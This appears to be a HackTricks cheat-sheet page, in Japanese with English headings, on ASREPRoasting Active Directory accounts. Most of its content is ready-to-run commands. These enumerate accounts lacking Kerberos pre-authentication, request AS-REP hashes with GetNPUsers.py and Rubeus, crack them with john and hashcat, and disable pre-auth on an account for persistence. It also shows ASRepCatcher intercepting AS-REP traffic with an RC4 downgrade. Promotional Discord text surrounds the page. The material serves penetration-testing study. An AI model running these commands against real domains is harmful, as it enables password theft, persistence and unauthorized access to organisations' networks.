ASREPRoast

Support HackTricks

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

ASREPRoast

ASREPRoastは、Kerberos事前認証必須属性が欠如しているユーザーを悪用するセキュリティ攻撃です。本質的に、この脆弱性により攻撃者は、ユーザーのパスワードを必要とせずにドメインコントローラー(DC)からユーザーの認証を要求できます。DCは、ユーザーのパスワード派生キーで暗号化されたメッセージで応答し、攻撃者はオフラインでそれを解読してユーザーのパスワードを発見しようとします。

この攻撃の主な要件は次のとおりです:

  • Kerberos事前認証の欠如:ターゲットユーザーはこのセキュリティ機能が有効でない必要があります。

  • ドメインコントローラー(DC)への接続:攻撃者はリクエストを送信し、暗号化されたメッセージを受信するためにDCにアクセスする必要があります。

  • オプションのドメインアカウント:ドメインアカウントを持つことで、攻撃者はLDAPクエリを通じて脆弱なユーザーをより効率的に特定できます。そのようなアカウントがない場合、攻撃者はユーザー名を推測する必要があります。

脆弱なユーザーの列挙(ドメイン資格情報が必要)

Using Windows
Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
Linuxの使用
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName

AS_REPメッセージのリクエスト

Linuxを使用して
#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
Windowsの使用
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)

Rubeusを使用したAS-REP Roastingは、暗号化タイプ0x17および事前認証タイプ0の4768を生成します。

クラッキング

john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt

Persistence

GenericAll 権限(またはプロパティを書き込む権限)を持つユーザーに対して preauth を強制する必要はありません:

Using Windows
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
Linuxの使用
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac -f DONT_REQ_PREAUTH

ASREProast 認証情報なし

攻撃者は、ネットワークを横断する AS-REP パケットをキャプチャするために中間者の位置を利用でき、Kerberos プレ認証が無効になっていることに依存しません。したがって、VLAN 上のすべてのユーザーに対して機能します。 ASRepCatcher を使用することでこれを実現できます。さらに、このツールは Kerberos 交渉を変更することにより、クライアントワークステーションに RC4 を使用させることを強制します。

# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
ASRepCatcher relay -dc $DC_IP

# Disabling ARP spoofing, the mitm position must be obtained differently
ASRepCatcher relay -dc $DC_IP --disable-spoofing

# Passive listening of AS-REP packets, no packet alteration
ASRepCatcher listen

参考文献


経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るためにHackenProof Discordサーバーに参加しましょう!

ハッキングの洞察 ハッキングのスリルと課題に深く掘り下げたコンテンツに参加する

リアルタイムハックニュース リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握する

最新のお知らせ 新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る

私たちに参加してください Discordで、今日からトップハッカーとコラボレーションを始めましょう!

HackTricksをサポートする

Last updated